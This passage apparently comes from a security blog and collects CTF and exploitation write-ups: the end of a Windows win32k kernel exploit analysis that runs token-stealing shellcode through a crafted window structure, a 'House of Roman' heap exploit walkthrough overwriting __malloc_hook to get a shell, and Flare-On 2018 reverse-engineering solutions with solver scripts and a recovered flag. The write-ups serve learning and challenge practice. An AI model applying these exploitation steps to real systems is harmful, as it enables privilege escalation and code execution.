return CallNextHookEx(0, code, wParam, lParam);
}

In kernel, win32k!xxxSendMessage returns 0xFFFFFFFB and backs to win32k!xxxHandleMenuMessages.

Here win32k!xxxHandleMenuMessages calls win32k!xxxSendMessage again:

In win32k!xxxSendMessage, if the following two conditions are met, win32k!xxxSendMessage will execute shellcode by lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam); with crafted pwnd structure:

1
2
3
4
5
6
7
if (gptiCurrent = *((PVOID *)P + 2)) { /* 0x8 - 0x5*/
...
if (*((_BYTE *)P + 0x16) & 4) { /* 0x16 - 0x5*/
...
// call lpfnWndProc here
}
}

In the sample exploit code, we can see how pwnd structure is crafted:

1
2
3
4
5
6
void* pti_loc = (void *)0x3;
void* check_loc = (void *)0x11;
void* shellcode_loc = (void *)0x5b;
*(LPDWORD)pti_loc = pti;
*(LPBYTE)check_loc = 0x4;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;

We can confirm the shellcode is executed according to windbg:

House of Roman [study]

calendar
libc

1. Vulnerability

1.0 Checksec

Partial relocation, canary, NX, PIE, FORTIFY.

1.1 UAF

g_chunk[idx] is not reset to zero.

1.2 Off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall read_buggy(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(i + a1) = 0;
return i;
}
*(a1 + i) = buf;
}
return i;
}

1.3 No leak

That’s the real problem - House of roman came to rescue!

2. Exploit

2.1 Fastbin dup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(1,0x68) <- chunk1
add(2,0x68) <- chunk2
add(3,0x68) <- chunk3
add(4,0x68) <- chunk4

del(2)
del(3)
del(2)
add(2,0x68)
add(3,0x68)

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: chunk2->chunk3->chunk2
0x80: 0x0

2.2 Allocate on __malloc_hook

1
2
3
4
5
6
payload = 'a'*0x68+'\xe1'
edit(1,0x68,payload) -> Make chunk2 as smallbin
del(2) -> Unsorted bin

pay = 'a'*0x68+'\x71'
edit(1,0x68,pay) # We need to allocate size of 0x70 chunk later. To bypass the fastbin security check, we have to restore 0xe1 to 0x70.

In chunk2:

If we overwrite the first two bytes in chunk2->fd, we can allocate fastbin chunk on __malloc_hook with the probability of 1/16.

1
2
3
4
5
6
7
8
pwndbg> p &__malloc_hook
$3 = (void *(**)(size_t, const void *)) 0x7f21dd129b10 <__malloc_hook>
pwndbg> x/10gx 0x7f21dd129b10-19
0x7f21dd129afd: 0x21dcdeae20000000 0x21dcdeaa0000007f
0x7f21dd129b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f21dd129b1d: 0x0000000000000000 0x0000000000000000
0x7f21dd129b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f21dd129b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000

Now overwrite chunk2->fd.

1
2
pay = '\xfd\x9a' -> 8 bits are random.
edit(2,len(pay)-1,pay)

Fastbin status:

1
2
3
4
5
6
7
8
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: chunk2->malloc_hook-19
0x80: 0x0

Allocate on malloc_hook-19

1
2
add(4, 0x68)
add(4, 0x68)

Bin status:

Fix 0x7f:

1
2
payload = '\x00'*3+p64(0)*9
edit(4,len(pay)-1,payload)

2.3 Unsorted bin attack

Overwrite libc address to __malloc_hook.

1
2
3
payload = p64(0)+'\x00'
edit(2,8,payload)
add(2,0x68) # unsorted bin: bck->fd(__malloc_hook)=unsorted_chunks(av)

Overwrite one gadget to __malloc_hook.

1
2
pay = '\x00'*3+one_gadget_guess # -> 8 bits are random
edit(4,len(pay)-1,pay) # -> __malloc_hook

2.4 Get shell

Double free fastbin chunk1 will trigger malloc_printerr. Then we can get shell.

1
2
del(1)
del(1)

flareon2018-7

WorldOfWarcraft.exe - Heaven gate.

WorldOfWarcraft builds two dll images in 32-bit mode which is easily verifiable by PE-sieve32. When the second dll image is built up, WorldOfWarcraft builds up the shellcode:

The purpose of the shellcode is to hook NtDeviceIoControlFile in X86SwitchTo64BitMode function.

In hook function 180001660, the xor operation implies that the flag is here.

Flag:

1
2
3
4
5
6
7
8
9
10
11
12
e1 = [0xf,0x57,0x61,0x77,0xb,0xfa,0xb5,0xd1,0x81,0x99,0xac,0xa7,0x90,0x58,0x1a,0x52,0xc,0xa0,0x8,0x2d,0xed,0xd5,0x6d,0xe7,0xe0,0xf2,0xbc,0xe9,0xf2,0x0]
e2 = [0x5f,0x68,0x44,0x62,0x23,0xba,0x21,0x54,0x33,0x73,0x4,0x65,0x50,0x97,0x72,0x26,0x1,0xc4,0xcd,0x11,0xb6,0xb,0xd6,0xf9,0x58,0x76,0x7e,0x65,0x69,0x0,0x0,0x0]

for i in range(len(e1)):
for k in range(i + 1, 29):
e1[k] ^= e1[i]

e2[i] = chr(e1[i] ^ e2[i])

e2 = e2[:-3]
print ''.join(e2)
# P0rt_Kn0ck1ng_0n_he4v3ns_d00r

Flareon2018-6 magic

1. Decrypt functions

Magic has the obvious SMC behaviors. Write script for IDA to decrypt all 33 functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def xor_mem(src, length, data):
for i in range(length):
PatchByte(src + i, Byte(data + i) ^ Byte(src + i))

for i in range(33):
print 'Loop %d' % i

print '%d + %d' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)))

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
print 'Decrypt function ', hex(xor_func)
MakeFunction(xor_func)
MakeName(xor_func, 'func%d' % i)

print 'Test func(input[%x], %x, &%x)' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4))

Decrypted 33 functions:

Also, the scripts shows the function address, arguments, expected input length.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
Loop 0
2 + 3
Decrypt function 0x400c55L
Test func(input[2], 3, &605120)
Loop 1
44 + 2
Decrypt function 0x401e1dL
Test func(input[2c], 2, &605240)
Loop 2
16 + 1
Decrypt function 0x40166eL
Test func(input[10], 1, &605360)
Loop 3
7 + 3
...

Now we need to check these 33 functions manually.

2. Answer for the 1/666 round

There are 7 types of functions:

  • fib
  • crc32
  • non-standard base64
  • xor1
  • xor2
  • rot13
  • memcmp

Script for passing the first round:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from fib_table import fib
import zlib
import pwn
import string
import base64
import itertools

# Test func(input[2], 3, &605120)
key = ['\x00']*69

def func_fib(start, data):
for i in range(len(data)):
key[start + i] = chr(fib.index(data[i]) + 1)

def func_crc32(start, data, length):
# Assume input is one character so far

is_found = False

for guess in itertools.product(string.printable, repeat=length):
if zlib.crc32(''.join(guess)) & 0xffffffff == data[0]:
is_found = True
break

if not is_found:
print 'crc32 not found!'
assert(0)

for i in range(len(guess)):
key[start + i] = guess[i]

def func_xor1(start, data):
v8 = [0] * 260
for i in range(0x100):
v8[i] = i

v4 = 0x2074756220736954
v5 = 0x6374617263732061
v6 = 0x2e68

const_table = pwn.p64(v4) + pwn.p64(v5) + pwn.p64(v6)
v13 = 0
for i in range(0x100):
v13 += v8[i] + ord(const_table[i % 18])
v13 &= 0xff
v8[i] ^= v8[v13]
v8[v13] ^= v8[i]
v8[i] ^= v8[v13]

# Assume v10 is 1
v11 = 0
v12 = 0
v10 = 1
for i in data:
if i:
v10 = 0
break
#print [hex(x) for x in v8]
for i in range(len(data)):
v11 += v8[v12 + 1]
v12 += 1
v11 &= 0xff

v8[v12], v8[v11] = v8[v11], v8[v12]
v13 = (v8[v12] + v8[v11]) & 0xff
key[start + i] = chr(data[i] ^ v8[v13])


def func_caesar(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] - 0xD)

def func_memcmp(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i])

def func_xor2(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] ^ 0x2A)

def func_non_standard_base64(start, data, num):
# -> base64
data = [chr(x) for x in data]
data = ''.join(data) # encoded base64 string
v = (0x2346A7C2645F392A, 0x42704D2847746B53, 0x4A4038626A522549,
0x5024312D59444569, 0x6671764C21547967, 0x304F57516D68632B,
0x6C336E75345A4E65, 0x4B7A617732264837, 0x56)
new_table = ''
for i in v:
new_table += pwn.p64(i)

new_table = new_table[:-8] # no zero

decoded_length = len(base64.b64encode('1'*num))
if len(data) < decoded_length:
data += '='*(decoded_length - len(data))

STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
DECODE_TRANS = string.maketrans(new_table, STANDARD_ALPHABET)
result = base64.b64decode(data.translate(DECODE_TRANS))
for i in range(len(result)):
key[start + i] = result[i]


func_fib(0x2, [1298777728820984005, 1065587176432717357, 3524578])
func_fib(0x2c, [10627031650760492279, 7515661444929089378])
func_crc32(0x10, [0x0ED4E242], 1)
func_xor1(0x7, [0xad, 0x2d, 0x84])
func_non_standard_base64(0x3f, [0x53, 0x2A], 1)
func_fib(0x39, [0x0F5B15148238F5B22, 0x2AC6F30501D6999B, 0x5FB88F7A983179C2])
func_fib(0x30, [0x45E1A61E5624F888, 0x35C7E2])
func_caesar(0x1e, [0x81, 0x75, 0x72])
func_memcmp(0xa, [0x20])
func_memcmp(0x3c, [0x20, 0x69, 0x6e])
func_caesar(0xd, [0x74])
func_fib(0x2b, [0x35c7e2])
func_caesar(0x38, [0x7f])
func_xor2(0x12, [0x4f, 0x0a])
func_memcmp(0x11, [0x20])
func_crc32(0x42, [0xC55CD5B6], 3)
func_memcmp(0x28, [0x6c, 0x69, 0x6b])
func_xor2(0x2e, [0x4f])
func_caesar(0x0, [0x76, 0x7b])
func_xor1(0xb, [0xaf, 0x26])
func_xor2(0x26, [0x44, 0x45])
func_xor2(0x14, [0x0a, 0x62])
func_non_standard_base64(0x32, [0x53, 0x23, 0x76, 0x30], 3)
func_caesar(0x24, [0x82, 0x7f])
func_memcmp(0x1c, [0x6f, 0x66])
func_memcmp(0x2f, [0x66])
func_xor2(0x5, [0x43, 0x59])
func_xor2(0x35, [0xa, 0x48, 0x46])
func_fib(0x40, [0x2AC6F30501D6999B, 0x3CBD2238198C09A0])
func_xor2(0x16, [0x5e, 0x42, 0x43])
func_fib(0xe, [0x35C7E2, 0x3CBD2238198C09A0])
func_caesar(0x19, [0x81, 0x75, 0x72])
func_xor2(0x21, [0x6b, 0x42, 0x6])

print ''.join(key)

3. Automated script to answer 666 rounds

Strace shows that the binary file magic is different in each round.

1
2
3
...
rename("magicKHbGwN", "./magic") = 0
...

For automatically answer 666 rounds, we need:

  • pwntool to read / patch binary.
  • Function signature for 7 types.
  • Read new elf each time.

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import zlib
import pwn
import string
import base64
import itertools
import os
import time
from fib_table import fib

key = []

... # func_fib func_xor1 ... are omitted.

magic = ELF('magic')

def Byte(i):
return u8(magic.read(i, 1))

def Dword(i):
return u32(magic.read(i, 4))

def Qword(i):
return u64(magic.read(i, 8))

def xor_mem(src, length, data):
for i in range(length):
magic.write(src + i, chr(Byte(data + i) ^ Byte(src + i)))

def get_key():
answer_length = 0
question_list = []
global magic
magic = ELF('magic')
for i in range(33):
#print 'Loop %d' % i

test_length = Dword(0x605108+4*(72*i+1)) + Dword(0x605108+4*(72*i+2))
if test_length > answer_length:
answer_length = test_length

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
question_list.append((xor_func, Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4)))

#print 'sig for %s = %s' % (hex(xor_func), hex(Qword(xor_func + 17)))

global key
key = ['\x00']*answer_length

for i in question_list:
func, answer_start, answer_length, answer_data_addr = i[0], i[1], i[2], i[3]

# default way to fill answer_data as a byte array
answer_data = []
for i in range(answer_length):
answer_data.append(Byte(answer_data_addr + i))
# print hex(func), Qword(func)

sig = Qword(func + 17)
# fib
if sig == 0x119e900000000fc:
answer_data = []
for i in range(answer_length):
answer_data.append(Qword(answer_data_addr + i * 8))
func_fib(answer_start, answer_data)
# crc
elif sig == 0xfc45c700f3:
func_crc32(answer_start, [Qword(answer_data_addr)], answer_length)
# xor1
elif sig == 0x48fffffec4b589ff:
func_xor1(answer_start, answer_data)
# base64
elif sig == 0x2346a7c2645f392a:
answer_data = []
for i in range(answer_length + 1):
answer_data.append(Byte(answer_data_addr + i))
func_non_standard_base64(answer_start, answer_data, answer_length)
# caesar
elif sig == 0xfc45c700000000fc:
func_rot13(answer_start, answer_data)
# memcmp
elif sig == 0x8b55eb00000000fc:
func_memcmp(answer_start, answer_data)
# xor2
elif sig == 0x8b5deb00000000fc:
func_xor2(answer_start, answer_data)
else:
print 'unknown func!', hex(sig), i

print ''.join(key)
return ''.join(key)

os.system('cp bk/magic .')

p = process(['stdbuf', '-i0', '-o0', '-e0', './magic'])

while 1:
print p.recv()
print 'acquiring key ....'

key = get_key()
print p.sendline(key)

Get flag!!